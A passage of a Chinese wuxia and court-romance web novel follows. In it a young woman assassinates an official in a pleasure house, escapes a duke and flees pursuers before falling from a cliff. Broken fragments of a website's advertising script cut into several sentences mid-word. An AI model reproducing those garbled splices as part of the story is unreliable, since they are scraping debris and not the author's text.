他再次仔细的看着她,眼前少女站在花草丛边,身姿单薄,却如春花那般自然舒展,尽态极妍,似敛尽世间最美的春色。 “你若无处可去,我愿为你寻一处地方。”裴谦只静静地看着她,目光沉稳热切,将那少女锋芒初露的光芒尽收眼底,“妓院这样的地方,你以后该如何出去?” 荆楚歌勉强露出笑容:“去哪里都是一样的。江湖中人多重义气,相比于与你们这些朱门高户,纵使没有那么多七弯八绕的水晶心肝,也能活下来。” 良久,男子抬袖,痛饮一杯,对她一笑。 这人笑起来,好似点亮了黯淡的所有东西,像一簇炸开的烟花,是天边的回响,是与神灵沟通的痕迹。 春花匆匆,如细风拂面,缠绵柔和,让人又想起了遥远的蒹葭,白茫茫一片,在风中簌簌摇摆。 他身上带着极浅的木质香,混合着酒味儿,半身倾向她,气息浅浅,干净利落。 荆楚歌能轻而易举地看见对方纤长浓密的鸦睫,碎光迷离,似星辰落入尘埃。 “不要再惹乱子 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了,郢都并不是风平浪静的地方,一不留心啊,就会被风浪吞噬掉。” “小人受教。”荆楚歌作揖行礼。 低垂的视野里,荆楚歌看见那一角锦袍缓缓离开自己的视线。 黄昏也要彻底暗下去了。荆楚歌蹲在回廊下,瞧着零落的花朵有些发怔。 “小楚!把这些酒水送到楼上的醉花阁里头去,客人们都还等着呢!”一姑娘露着粉肩,身子靠着栏杆扬声喊道。 “哎,来了!”荆楚歌应了一声。 匆忙的生活依旧在继续,荆楚歌深知待在此处不是长久之计。 裴谦最终还是放过了她。 他讨厌变数,却还是对她手下留情。他或许还会猜测,下一步,这个行事大胆乖张的女孩会做出什么出格的事。 裴谦甚至会不自觉地想,他们还会见面吗,亦或是下次见面,那女孩会易容成什么样子。 果真是幼稚,还真没冤枉孟询,确实是一个引人注目的女子,让人新奇,让人眼前一亮。 不过他现在还有一事相当好奇,她是怎么绕过秦王府死侍的眼睛,金蝉脱壳来了这天香楼的呢? 云沧海托腮,吃了两块松糕已经开始牙疼倒胃口了,“主子,你还发呆着呢?” “关你屁事,酒呢?”裴谦眼下一片淡薄的酡色,眼神涣散,蒙着一层淅淅沥沥的水汽。 “没了,你就别喝了。”云沧海把酒杯酒壶全拢到自己这一侧,护着,不让裴谦伸手。 裴谦面色不善,不笑的时候他身上总有一股挥之不去的不怒自威:“反了你,拿过来。” 云沧海并没有那么怕他,他们是同生共死从北地的死人堆里爬出来的。 “主子,不能喝了,本身喝了酒就不好服药,您这是作践自己的身体啊。”他压低声音劝道。 “难得尽兴,你就别管我了。” 云沧海顿了顿,只好松开酒壶:“晚上真的要……” “为什么不?”云沧海看着主子脸上一闪而过的狡黠,像一只舒适得伸出耳朵的狐狸。 裴谦指尖轻点木案,“你把她抓过来吧,一会儿功夫就不见了人影,到那时候你怕是连她的衣角都摸不到。” “不能吧,主子也不带像你这么羞辱人的!” 云沧海是亲王近卫,早些年这名头的含金量可是相当可观的。 历经磨难才被送到这些王子皇孙身边,非死士而比死士更忠心。 裴谦淡定地摸了摸白玉杯的杯口,酒水冰凉,“你说,什么样的人,会在你还有云青天两人都在的情况下,神不知鬼不觉地溜走了呢?” 云沧海略一思索:“一般来说不会有这样的情况……除非……” 裴谦端起酒杯,碰了碰云沧海手边的另一只空杯:“除非当年呼和兰山的安斯年还在,天下顶一的高手,在他的手底下,也没个徒弟什么的,独门技艺也没办法传下去,可惜了。” “确实可惜,别说是草原上,中原也是万里挑一的天才。”云沧海叹了口气,“英年早逝,倒是给大盛省了不少麻烦。” 裴谦把玩着手中的空杯,那玉杯细腻通透,是出自汝窑的上等货,普通人家一辈子都见不到的物件,如今在这天香楼里可随意拿出来待客。 他微眯起眼:“可是我怀疑他根本就没死,不仅活得好好的,还收了一个好徒弟。” 22. 血染乐坊 安斯年的死是英雄迟暮的悲哀,他当时不过二十出头,却在武力修行上展现绝对天赋,他行事随性,不知惹了多少眼红的人嫉妒生事。 好在他有能力自保,还耍得一手权衡谋道,在洋洋洒洒的江湖金帖排行榜上拔得头筹。 从一开始人人唾弃瞧不起的毛头小子,变成了江湖故事里马首是瞻的小大哥。 天时地利人和缺一不可。 千不该万不该,他出生在呼和兰。 那般穷山恶水的地方,民风彪悍野蛮。大盛忌惮已久,好在战乱只是一时时的,既能起,也能平。 裴谦对江湖中事不感兴趣,只是从前在北地打仗的时候遇见过一极其难缠棘手的阵法,后来得知,那阵法居然出自安斯年之手。 若是不讲立场,那安斯年真当有雄才大略。 渐入夜色,天香楼灯火通明,楼内一片酒气,荆楚歌换了一身粉嫩的交领长袍,颜色浅淡,衬得人如初春的桃花,朵朵盛开,娇嫩细腻。 荆楚歌推门而进,正巧身旁走过两个穿着乌黑长袍的男人,戴着不合时宜的斗笠,衣着朴素,身上带着装着香料的金铃铛。 是草原人,荆楚歌以前听安老头说过,草原人身上总带着一股羊膻味,在中原地带混在人群中间尤其明显。 于是乎有人想出了用香料遮挡的法子,其实这么一来,反倒是此地无银三百两了。 荆楚歌尖着眼睛瞅着二人的背影,那两人身板厚实雄壮,在夜色里模糊了身影,旁人看了也不会太上心。 再者,郢都之中香料贩子也不少,都是普普通通的生意人。 但是此事出现在这个地方——与大盛户部尚书不清不楚,给谁知道了都会多加揣测的吧。 这家伙果真是反叛成瘾,现在还同草原人勾结到了一块儿! 荆楚歌一肚子怨气,却也不敢在脸面上表现出来。 只听玉环玉珰清脆,室内香味弥漫,是荆楚歌最熟悉的合欢花的香味。 缭绕生烟,包裹住了少女淡薄的身躯。 “不错,不错。”李素第一次见到荆楚歌,一股熟悉感油然而生。 他好似认出来了,又像是真记不起来。 “你面熟,似我一位故人。” 荆楚歌面色如常,温顺道:“大人抬举了。” 她说的时候甜腻得令自己反胃,但是仅仅只是做到这个程度——还远远不够。 李素语气里带着几分凉薄的嘲讽:“我最是讨厌那位故人了,那一张脸,太容易让人回想起一些不讨喜的往事。” 荆楚歌轻轻扬眉,声音温婉,手上动作轻缓,将木案里的酒放了下来:“那是为何?” 李素似是被踩了尾巴的猫,十分反感少女随口反问的话,他冷声道:“今夜怎的是一张生面孔,往日明明有倩雪姑娘来作陪,你也忒不懂规矩。” 荆楚歌道:“是李公子让我来此等待的。” 暗夜之中,陡然生便。 那刀光剑影沉默,却在抬手间取了人的性命。 鲜血殷然,晕开得很快。李素充血的双眼充斥着震惊、狰狞以及不甘心,他看着眼前的少女,视线缓缓模糊,随着身体的倒下,他目之所及的场景天旋地转,最终将目光定格在头顶的井口天花上。 无需任何废话,荆楚歌利刃出鞘,直取李素性命。 生死关头,他浑浊的眸子涣散,依稀辨认眼前模糊的背影,似是故人来。 “你和孙家是什么关系……”他缓缓问出这个埋藏在心大半辈子的问题。 荆楚歌脸上已经敛了笑意,拔出了沾满鲜血的刀,冷冰冰道:“和孙家什么关系我不知道,但我的母亲叫荆岫云。” “你……你可不是荆岫云的孩子,荆岫云的孩子……他可早死了!哈哈哈……”李素嘴里涌出一口乌黑的血。 荆楚歌发着抖,刀也从手中掉落下来,她抿着苍白失血的嘴唇,道:“你这个疯子。” “你以为你逃得了……”李素喘着粗气,“外头都是我的人,天香楼就是我李家的……你太天真了!” 荆楚歌红了眼,不是悲伤,而是刀刃见血的狂热,她起先害怕得发抖,却在淋漓鲜血的刺激下无所顾忌。 “剩余的话留着下去跟孙家满门三十口人说吧,你的挚友还有挚友的妻子,他们一并等着你呢。” 荆楚歌拖着沉重的步子,歪歪斜斜地走到窗边,支起窗台,冷空气席卷而来。 她面临着生命的狂风骤雨,恐惧、迷茫、不安包围住了她,但是她不想退缩。 荆楚歌会想起与母亲奔赴郢都的无数个日夜,那是一段艰辛的时光,走在路上随时可能丢了性命,她只是一个弱女子,而她只是一个不懂世事的幼童。 她还记得母亲想要转身的决绝,她要被抛下了,站在原地不知所措。 可母亲最终还是回来了,将她抱在怀里闷声哭泣。 荆楚歌说,母亲,我会保护你的,永远不会离开你。 荆岫云哭得很伤心,那是肝肠寸断的架势,她满脸泪水,头发上还沾着不知名的树叶,面孔憔悴双目通红浸满泪水。 母亲经常说,“我们回不去了,要是以后你大了,一定要替我去看看江南,回到旧时的家宅……” 荆岫云无比怀念从前的时光,因为她曾经拥有如今却失去了一切。 这是一种走不出阴影的折磨,让她在余生里不停忏悔与怀念。 荆楚歌害怕看见母亲那双沉默又孤独的眼,充斥着死气与失望,压抑的环境里荆楚歌时常不知道自己为何而活,毕竟每一天都会这样死气沉沉。 那一封“祝卿安好”的书信——荆楚歌甚至眼前能浮现出母亲捧着那张单薄的纸心中的苦涩和绝望。 荆楚歌推门,眼前赫然出现一抹熟悉的身影。 那人表情冷淡,清冷的月光落到他的衣角,似是结了一层薄霜。 他那张冷峻的脸上风华依旧,只是此刻收敛了笑意,有些不近人情。 裴谦轻启唇齿,深沉复杂的目光落在荆楚歌的身上,如同一座令人喘不过气的大山。 “你杀了他。” 他说得毋庸置疑,直接摁死了荆楚歌的后路。 当然,她没办法为自己辩驳——这是一不争的事实,做了就是做了,她定然不会刻意回避 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 “他必须得死。”荆楚歌平静道。 “把血擦擦吧。”裴谦捏起一角白绸帕子,荆楚歌愕然地接过,捏在手里突然有些不知所措。 他若无其事地走进门里,将荆楚歌逼得节节败退,她警惕地看着眼前的男人,却又不知道如何应对。 荆楚歌退回房里,站在原地,等待对方的发话。 “我有话问你,你是跟我走,还是等着官兵来,你跟官兵走?” 裴谦觉得好笑,这女子在该乖巧的时候不安生,在不该老实的时候过分老实。 这个时候,她难道不应该夺门而出,与他交手一番,最后逃之夭夭么? 荆楚歌垂眸,缓缓揪着沾着血的帕子,身上还溅着星星点点的血迹,好不狼狈。 她跟着裴谦走出门,几步后弯进一个逼仄的回廊,摆放杂物的隔间很少有人踏足。 一机,一壶,一炉。 颇有情调,在阁楼的储物间里无所事事地喝酒,天窗正开着,洒下一片凛冽如刀光的月色,顿生寒意,在寂寥的夜里凌迟着孤独的灵魂。 “你是荆家的女眷,你为什么会习得偏门的功法?”裴谦抄着手,斜靠在门框边。 “荆府不教我这些,我自学成才。”荆楚歌仰起脸,语气不卑不亢。 “你的身法带着草原人的习惯,要是不想走火入魔,我建议你不要继续下去。” 裴谦看着她,目光中隐隐透出一些短促的忧患,这个少女纵然只是一个不起眼的小角色,宛若郢都里最微不足道的一粒尘埃,一只蝼蚁,可他隐隐觉得她总会惹出一些大乱子。 “你如实告诉我,你师从何人,我会放过你的。” “无人。”荆楚歌偏过头,她不习惯说谎话,即使是生死关头,她也在任性而为。 裴谦抬眸,几乎是一阵风起,他便走到了荆楚歌的跟前,他目光灼灼,如火如炬,威压似的捏着荆楚歌的下巴。 他气息沉稳,一字一句道:“我不信。” 冷冽的气息混着古朴的白檀味扑面而来,两人距离如此之近,荆楚歌头晕目眩地怔住,眸子里的倒影全是那一抹浓烈的丹青水墨之彩。 裴谦是杀伐果断的战将,有将帅之才,在战场之上迎击千军万马;他又是流连秦楼楚馆的高门子弟,一掷千金,在女人的婉转莺啼中好似戏本佳话;他又是手段强硬的朝臣,有脾气有手段,不动声色地铲除麻烦…… 哪一个才是真实的他? 荆楚歌嘴唇微微翕动,那一抹樱色桃红的唇似夏日里摆在水晶樽里的樱桃小果,灵动甘甜,含在嘴里恨不得唇齿生香,冰凉沁脾。 裴谦稍有动容,他应该平视这个女子,可却觉得,她不过是个女子。 “什么人指使你杀李素?” 鹰狼般锐利的双眸,浮动着光影不定的阴鸷。 荆楚歌心脏在疯狂跳动,如此真实,如此激烈,几乎要跃出胸膛。 为什么?荆楚歌也想问为什么。 砰砰砰—— “李大人!”门外一阵强有力的拍门声,高亢的喊声几乎响彻整个楼阁。 是巡营的士兵! 23. 一地暗香 荆楚歌抬眼,正撞入国公爷的眼波。他就着手中的动作,揽着荆楚歌的肩膀,将她拢在自己的身影里。 明明是两人撞倒失足落地,举手投足间却缠绵暧昧,不细看好似少女嘤咛着撒娇。她的额头靠在裴谦的胸膛上,不知为何他的心跳声也突然变得急促。 心跳声不会骗人,荆楚歌十分确信。 室内乱作一团,香炉翻倒,缭绕的烟尘雾气弥散开来,浓郁醇厚,遮盖住了突兀的血腥味。 少女发髻凌乱,此时此刻还未反应过来发生了什么,眼睛里多半是茫然和不知所措。虽是被压着,但裴谦撑起了手肘,重量并不在她身上。 “不要动!”裴谦冷着脸,大抵是咬牙说的,有些凶巴巴的。 再动就是春光乍泄。 他扯下一旁悬挂的纯白长绒兽皮,遮掩住二人的身形。 “国公爷!”领头的官兵惊呼一声,只见室内旖旎暧昧,奢靡谈不上,但触目所及满目春光。 不成想里边儿发生过什么翻云覆雨的趣事儿。 荆楚歌被他挡着大半,她低着头靠在裴谦的胸膛上,双手被对方紧紧握着,挣扎之下依旧纹丝不动, “再看一眼,眼睛就别想要了。”裴谦偏过头,狼虎环伺的警惕姿态,杀气腾腾。 巡营的士兵快速退了出去,将门哐当一声合上,后退下楼的脚步声纷踏沉重。 没人敢看国公爷的活春/宫,除非是活腻了,眼睛用够了,耳朵听够了…… 荆楚歌缩着脖子,紧闭双眼,认命似的不再挣扎,她分不清这是少女的娇羞还是屈居人下的羞耻。 不管是哪一种,裴谦都觉得十分受用。 突如其来的亲近动作荆楚歌不知道手脚该放到哪,满身满心都是裴谦的熏香味——贵公子们独特的爱好,君子配香为雅士,尽显名门风范。 裴谦滚烫的鼻息轻拂过她的颈间,冰冷裸露的肌肤传来一阵阵暖意,如明媚温和的三月春风,吹拂山间雪松圆柏未融的雪。 唇很近,再往下一点就要落到她的颈侧了。 少女脖颈白皙如玉,衣襟并不整齐,露出大片羊脂玉似的肌肤,沿着修长的脖颈往下,便是精致立体的锁骨,就凭这对锁骨,裴谦便能推断出这少女骨架身量如何曼妙。 不是娇弱病态的美,而是那种极其有力量感的美。 “你!” 荆楚歌脸憋得通红,被人实实在在占了便宜,她心中既不痛快也不舒坦,这么别扭的姿势她还在下边,根本就没办法动弹。 她张口便咬到了裴谦的锁骨上,鼻子被撞得生疼,若不是情况特殊,她得摸摸鼻子下边是不是冒血了。 像是困兽的警告,那眼神璀璨明亮,不是那种柔和亲近的光,像两把钢刃交锋迸溅的火星,杀气腾腾不近人情。 君子发乎情止乎礼。 裴谦松开,抬手,漫不经心地往后多退了两步。 荆楚歌身上一凉,没想到国公爷竟这么好说话,这回不费吹灰之力便挣脱了禁锢。 他故作轻松,忍不住笑了笑,那笑意随性又明媚,让半夜的寒气都消散了大半。他手心却早已被虚汗濡湿,伸手抚了抚锁骨上的牙印,已经透出血了。 欲望是魔咒,是枷锁,他如梦初醒,喉间有些发紧。 待他回过神,少女早已扯着那件兽皮破开天窗,逃得影儿都不剩。 狼狈不堪的少女与他擦肩,一念之间天差地别。 一位是高高在上的国公爷,一个是流浪街头被通缉的朝廷重犯。 裴谦坐会榻上,愁眉不展,室内散开一片浓郁的花香精油味,甜腻又奢靡,木案上酒水狼藉,湿痕斑斑,裴谦低头,目光落至掌心。 地上铺了一层薄厚不均的白色香灰,纯粹的木质香似一弯清泉静静流淌。 那女子就像是掌间轻盈的风,抓不住、握不紧。 怅然若失的滋味很难熬,应了那句“欲壑难填”,裴谦没有理由地痴迷这种求而不得的疼痛和酸涩。 裴谦从不觉得自己会缺什么,他自诩无欲无求,在郢都的富贵锦绣堆中不咸不淡地享受全天下最美的酒,无论是高门贵女还是乐坊歌妓,只要他想,他永远会是拥有绝对支配权的上位者。 “主子,李素死了!”云沧海从暗处一角走出,他穿戴整齐,与其他暗卫穿着相同,只不过袖间手腕处多了一些金丝纹路。 “嗯。”他冷淡地应了一声。 云沧海抱着剑,半跪在那一处阴影中,他扶剑行礼道:“主子,要去追吗?” 裴谦指尖蘸了蘸案面的酒水,慢条斯理地比划了两个小字,只是风干太快,不见旧痕:“撤回去,不要弄出动静,给秦王他们报个信,顺便搜罗一下楼里,看看李秋离公子被关到哪儿了。” “那逃犯……”云沧海丈二和尚摸不着头脑。 裴谦慢条斯理地从地上捡起那一块沾了血的帕子,实在是惨不忍睹。 从他稍有些生无可恋的表情上不难判断,他嫌弃李素的血。 他道:“那是巡防营的事,你去知会一声,告诉他们李素在天香楼遇害了,让他们发布通缉令,天亮之前务必贴满全城,让他们操心去。” “通缉令?全城?”云沧海这就不明白了。 主子明明将那少女放走,可又陡然变脸要签发通缉令,这里头是什么道理? “说的不够明白?”裴谦睨了他一眼。 云沧海挺起腰板,俯首行礼:“明白了,主子。” 已是五更天,城中从深夜中苏醒过来,大小巷子之间弥漫着清浅的水雾,游走在房檐间,青石板路上,树枝间隙。 脚步声落在小巷里,街头的馄饨摊已经烧开了水,等着早食的顾客点单落座。 酒肆开了门,斜斜露出一角,门前堆着倒锥形的稻谷壳子,热气腾腾地冒着酒气,香味散开,唤醒清晨赶脚人的精气神。 荆楚歌还未来得及出城,便发现自己早已上了通缉榜,她混杂在人群里,穿进巷子里,翻进安伯的旧宅。 院子里铺了稀稀落落的干枯树叶,走上去脚下似有碎冰之声。一路清脆,她走进房子里,那把剑还躺在角落里,荆楚歌眼眶一酸——院子里没有人来过,好像这几日只是一场梦。 安伯究竟是否平安?他还活着吗? 她有落泪的冲动。 既然安伯让她赶紧走,想必会有应对的策略。那老头儿手眼通天,肯定不会吃大亏的。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她得先活下去,活下去才会有希望。 荆楚歌需要在这个世道找一片立足之地。 这是贫民窟地带,巷子里阴暗寒冷,外头已经是春,这里似乎还停留在冬,一块满是污垢的石头上,躺着个衣衫褴褛的少年,年纪十一二,荆楚歌目测比自己小了几岁。 少年似乎发着烧,一丝不健康的红晕,从脸上黑黢黢的泥垢底透出来。 好可怜。 荆楚歌抬脚就走——天下可怜的人多了去了,她也可怜啊,也没见得谁来怜爱怜爱她。 少年缓缓开口,声音底色透亮,染上一层淡淡的疲倦:“别走……姐姐……” 荆楚歌折了回来,俯下身,温和道:“乖,姐姐没钱赎你。” 少年人大声道:“我可以做贴身侍卫的,我很厉害很厉害——” 荆楚歌毫不犹豫地戳穿:“那你怎么还给人逮住?还披着麻布袋子搁这儿批发卖价?再说了,养侍卫是有钱人做的事,我是个穷鬼。” “英雄也有落魄时嘛,求你了姐姐,他们这群人可没眼力见了,把我卖得可便宜了,你买不了吃亏买不了上当……”少年人可怜兮兮地举起自己被捆紧的手,“你瞧,我手都被勒红了,再不解开就要断了。” 荆楚歌拂开幂篱的白纱:“你这样的,我怎么留你当侍卫?” 白纱下是一张英气硬朗的脸,眉眼开阔大气。杏眼似揽星河,肤色呈健康的小麦色,配合一身玄色衣袍显得庄重严肃,像极了哪家大户人家偷跑出来的小公子。 “姐姐,我……我能洗衣做饭打扫,收了我,我做什么都可以!买一可抵三!对了对了,我还会乌金语!你以后要是出关做生意,可以带我!” 荆楚歌半信半疑地抬着眼皮子,道:“真的?” 少年欲语泪先流:“真的!真的!我骗你天打五雷——” 轰—— 少年眼泪还没从眼角滑落,硬生生憋在眼底不敢动弹。 这可怜的眼泪落也不是,不落也不是。 “老天爷都看不下去了。”荆楚歌嗤笑一声,从腰间掏出一角碎银子,“老板,就要他了,这个价够不够?” 老板一看,终于有了大善人将这个饭量出奇大的家伙买走了。这个少年人又傻又愣的,白长了一副好皮囊,没想到是个不讲卫生的脏煤球! 饶是他做奴隶买卖这么多年,也没见过这么能吃的货色。 他赶忙摆手,生怕买家改了主意,塌手上了和天塌了没什么区别了。 荆楚歌心想,不过是一个年龄相仿的少年,在顽劣再祖宗,自己还在跟前呢,怕个屁。 但是接手之后,荆楚歌觉得自己真的是年轻过头了。 “叫你出去要个饭还磨磨唧唧,两个人饿死得了。”荆楚歌十分不满意对方混吃等死的模样。 少年不服气,用手背蹭了蹭自己脏兮兮的脸庞,委屈巴巴道:“不是,你买我就是为着讨饭,我堂堂七尺男儿,你怎么能这么对我!” 荆楚歌一个头两个大,这是买了个少爷回来。 她扶额:“你不要用道德规束我,我没那个玩意儿,我只知道现在吃不上饭,我们两个人都快要饿死在荒郊野外了。” 24. 意外坠崖 最后还是荆楚歌妥协了,伺候着少爷在林子里的一片空地上生火,火光红彤彤的,把两个人的脸庞都烤热了。 荆楚歌搓了搓手,用烧得漆黑的木棍拨弄了一下柴火堆上的红薯。 “你是不是还会说乌金语,给你个机会,快说两句。” “……” 少年沉默了。 荆楚歌上牙磨下牙,捅了捅火堆儿:“我要着你做什么?吃白饭吗?” “你买我就是为了方便乞讨吗?”少年迟疑着嚅噎出口,原本苍白的脸被火烤得通红,他悄悄咽口水,“再说了,那是红薯,算不上白饭……” “……”其实荆楚歌也没那么不讲道德。 荆楚歌其实不想留他,就单纯地赶他走,没想到这少年如此执拗,都快跟着翻了两座山,还是怯懦地跟在后头。 “你多大了?”荆楚歌问。 “虚岁十九。” “你是哪儿的人。” “乌金人。” “你莫不是乌金失踪的王子?”荆楚歌口吻有些散漫,继续用木棍捅红薯,面皮儿发黑,里边还是硬的,怪愁人的。 “你敢这么对乌金王子……我……我觉得要是给旁人知道了,你会掉脑袋的。” 荆楚歌抬眼,漫不经心地瞅了他一眼,冷飕飕的,少年背后直发毛。 “还好我不是嘛。”他颇为心虚地低下头,从身侧的犄角旮旯里捡起两根树枝,掰成两段扔进火里,潮湿的柴在火里噼里啪啦作响。 “我是走丝路进来的商人,来这儿进茶叶和丝绸,第一次出门就遇上了劫匪,那些劫匪把我和阿叔的队伍冲散了。我风餐露宿几个月,好不容易刚遇上一个中原人,没想到还是个黑心贩子。” “那你太可怜了。”荆楚歌抽出一把小刀,一刺即中,将红薯刺了个对穿。 虚情假意,漫不经心。 看着被刺穿的红薯,少年黑黢黢的脸上流露出说不出的伤感。 “那你叫什么名字?”荆楚歌又问。 少年透亮的褐色眸子在火光的映染下闪了闪,好似最透亮的琉璃球,纯净无瑕,明艳照人:“时鸣,一鸣惊人的鸣。” 这样的眼神炽热又真诚,让荆楚歌不得不相信,他能够轻易地交付出自己的真心。 荆楚歌突然想到了荆府的小少爷,那个孩子据说是偷偷逃了出去,在抄家的前两天夜里。 他离家出走了,远走高飞了。 至于去了哪儿,没人能知道。 那是荆府里唯一一个真心的孩子,所有人都虚情假意,唯独一个他是最真实的。 “安楚,以后就是这个名字了,以后你就跟着我,跟着我不会让你饿肚子。”她垂眸,眼神中波光荡漾,她本意一个人流浪,哪承想身边还得多带一个拖油瓶。 她胸腔中多了几分酸涩,这段日子过得极其不易,这下还沦落荒郊野岭,几乎身无分文,还上了通缉令…… “我们现在去哪儿?” “去看我母亲。” 时鸣将信将疑地跟在她身后,路越走越荒僻,举头不见天色,只偶尔听见一些乌鸦嘶哑的叫声。 安楚站在小土包前,迟疑半晌便跪到泥泞一片的地上,雨水打湿了她的眼眶,泪水和雨水混为一体,彼此间不相分离。 这里是荆岫云长眠之地。 “无论如何,您救了我,我没能保护好您,是我的错。” 朦胧雨色中,那雨雾呈靛蓝色,有些发青,是荆岫云惦记很久的雨色。 时鸣将油纸伞撑开,倾向她的方向。那一把发黄的油纸伞此刻罩在她头上,很多年前荆岫云也是这般,在雨天接她回家。 她年纪还小,被同龄人戏耍着,被野狗追了三里地,最后爬到树上下不来,等到下边的人都散尽,天都快黑了。 那天也下着小雨,别的孩子都有人惦记。 安楚不是没有家,她知道自己的母亲足不出户,她身体不好,安楚何尝不知。 但她那天还是过来了,承着一把伞站在回廊下,她从清浅的夜色里走出来,在大树下边接住了安楚。 荆岫云知道自己没能力保护她,只是告诉她,要在府里安分些。 “我们无人依靠,只能靠着自己。”荆岫云对她说。 荆岫云面色苍白,透着死气沉沉的病态,她病了太久,好像也不打算好似的,一直拖沓着。 安楚这才反应过来,来到郢都的每一天,她都在求死。 如今真的只剩她一人了。 “阿楚。”时鸣有些难过,他小声地喊着她的名字,茫然地看着湿淋淋的背影,心中涌起一股难以言喻的酸涩。 “你知道吗,我本应该听她的话,在她走之前嫁给她中意的好人家,说不定她……心里能多舒坦些。”安楚挺直的背缓缓塌了下去,这一刻她像是找到家的孩童,一眨眼回到了旧日的时光,只是受些气罢,好歹日子有盼头,多了一份希冀。 “嫁一个好人家太重要了,时鸣,我母亲一直都是这么觉得的,我只是想在她身边多呆两年,我是不是做错了……” 时鸣蹲下身子,两只小小的影子落在朦胧不清的雨色里,既孤独又渺小。 “不要自责,说不定正是因为你在她身边,她才会有所牵挂。” 正因为有她,荆岫云才舍不得死。 她俯身,额头点地,磕了几个响头。 料峭春寒,山风尖锐。 她分不清什么是对与错,只知道当初的血海深仇不是一时半会儿能解决的。 她非君子,只是一个想好好活着的普通女孩。 野外秀树繁茂,暮春初夏,草水丰茂。鼻尖充斥着轻盈冰凉的草木香,荆楚歌连同着她的母亲一块儿埋葬到了这里。 所幸这儿是一块风水具佳的好地方,依山傍水,细水长流,生前在憋屈的小院子里聊度余生,身后却能如愿怀抱更为广阔的天地。 狼的幼崽出了狼窝,外边的世界太过宽广,形形色色的风景变成了压在心口上的巨石,可怜的幼崽被压得喘不过气。 它本该流着狼王的血,却会在森林里迷失方向的时候踌躇不前。 她究竟是谁的女儿,为什么荆岫云会救她,还当作女儿养着,一养就是这么多年。 雨水淅淅沥沥的,地上湿漉漉一片,好似人心最深处那块最泥泞湿软的地方。 半夜,雨下得更大了,荒僻的山洞里,两人被冻得瑟瑟发抖,单衣根本无法御寒。 时鸣捧了一堆湿答答的树叶树枝,一生火便冒了一洞窟的黑烟。 “咳咳……”安楚被熏得涕泗横流。 “主子!”时鸣一个滑跪拜倒在安楚面 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 前,帮不上一点忙也就算了,还惹事,他心里多少有点数。 “别这么喊我。”她听不得这个称呼。 时鸣挠了挠脑袋:“那喊你什么?大小姐?公子?少爷?” 安楚郑重道:“现在,我叫安楚,记清楚了么?” 女子身份在这个世道不大安全,也容易招惹是非,但她偏不信这个邪。 荆楚歌就当已经死了,安楚总还能活吧。 时鸣愣愣地看着她的眼睛,漫天的星光自万里银河迎面扑来,扑入他的胸膛,搅动一番风雨,再化为彼此闪亮的目光。 “阿楚……”时鸣带着撒娇的口吻叫唤道,他希望熟稔地念起这个名字。 安楚火冒三丈,但一骨碌就从柴草堆上爬了起来。 面色苍白,一副没睡醒的样子。 看得出,她安慰自己良久。 山洞是待不了了,二人早早动身往山下走。 一路人烟稀少,几乎无路可走,越走路越崎岖,脚下的路都是时鸣硬踩出来的小径。 露水滚落,沾湿衣襟。空气湿润冰凉,安楚吸了吸鼻子,咳嗽了两声。 林间不断传来清脆的鸟鸣,翅膀扑腾声在二人的头顶盘旋。 “这儿有人!” 遥遥相望,丛林深处竟露出几张人脸,那些人高壮有力,装备精良,还配有披着盔甲的马匹。 官兵追了上来,没想到会追这么远! “跟紧我!”安楚低喝一声。 二人在人迹罕至的丛林中穿梭,树影在浓重的雾色里绿得发黑,那些追兵行动矫捷,不似普通巡防营的士兵。 这是哪一路人派来的追兵?国公爷还是巡防营?或者是旁的什么人? 人为刀俎我为鱼肉,这样的滋味不好受。 遇上了丧心病狂的杀手,她内心也是暗叫不好的。 一道羽箭呼啸割裂空气,黑金的箭头狠狠旋转着,扑向她肩头。 她身体一横,从一道藤蔓下钻了过去,那羽箭整齐地插进藤蔓上。 断崖之下树木荫蔽,看不见底下景物,好像隐约有潺潺流水。 两处峭壁相近之处,真巧有一处平台。 安楚跑得满头虚汗,时鸣身手不显山不露水的,衣袂飘飘,轻而易举地跑到了她跟前站定。 “快来,我接住你!”时鸣身子已经越过了崖面,好似他这一步迈得极其轻松。 一道羽箭几乎是擦着安楚的臂膀过去,身后的追兵越发逼近,她毫不犹豫地奔赴而去。 她未经历过这些,不管是体力还是判断力尚且与专业杀手差一大截,这一跃已经耗尽了她的所有勇气。 未曾想真的碰到了时鸣的指尖! 时鸣神色一凛,一手抓住了对面的藤蔓,另一只手抡圆了,紧紧握住安楚的手,他借着力将安楚往上托。 安楚人在半空,身子不停晃荡,五脏六腑都在倒腾。 她已经预备在那一处山石落脚,蓦然传来一声清脆的响动,那一山石碎成几瓣,坠下了悬崖。 “该死!” 她抓住了峭壁上的藤蔓,还没能松一口气,藤蔓猝然断裂! 急速的坠落中风声呼呼而来,她坠了下去! “安楚!” 时鸣纵身一跃,想要抓住她,却只能看见她越坠越远。 25. 于风波中 泰安殿门窗紧闭,太监都肃立在外,面无表情。 紧闭的门窗内,时而传来男声,时而冒出一两斥责的女声。 “平白无故的,李素怎么突然遇刺,还是死在天香楼。他不是很有分寸么,怎的这么轻易便丢了性命?” 女人将手里的文书甩到彩漆龙凤纹木案上,震得琉璃灯里的芯花闪烁不定。 “天香楼是他自己的地盘,还这么给人钻了空子。”秦王孟询憔悴地捏了捏眉心,近两日他都没怎么睡好,督查提审过程繁复,且都是一些无用的表面文章,别说捉住刺客,连刺客是男是女都不清楚。 李素这人,往日贪图享乐惯了,树敌众多,郢都势力庞杂,越理越乱。 李秋离也说不出什么所以然来,找到他的时候他全身光着,捆绑着红线吊在房梁上,嘴巴给亵裤塞严实了,被吓得神志不清。 孟询没忍住,冷笑道:“楚国公好不容易拉拢的人,如今算是竹篮打水一场空。” 不难听出,语气不善。 年轻女人身着金色绣团凤的锦袍,裙摆飞扬,一对高耸入云的柳叶眉下面是眼波锐利如冰的眸子。 正是如今大盛王朝最有权势的宠妃乐玉檀,封号为“宣”。 宣贵妃原本是有过婚约的,却在一次宫宴中出尖冒头,一舞翩翩动天下,给老皇帝迷蒙不清的视野带来一抹亮色。 浑浊的视线,难得闯入鲜活的身影。 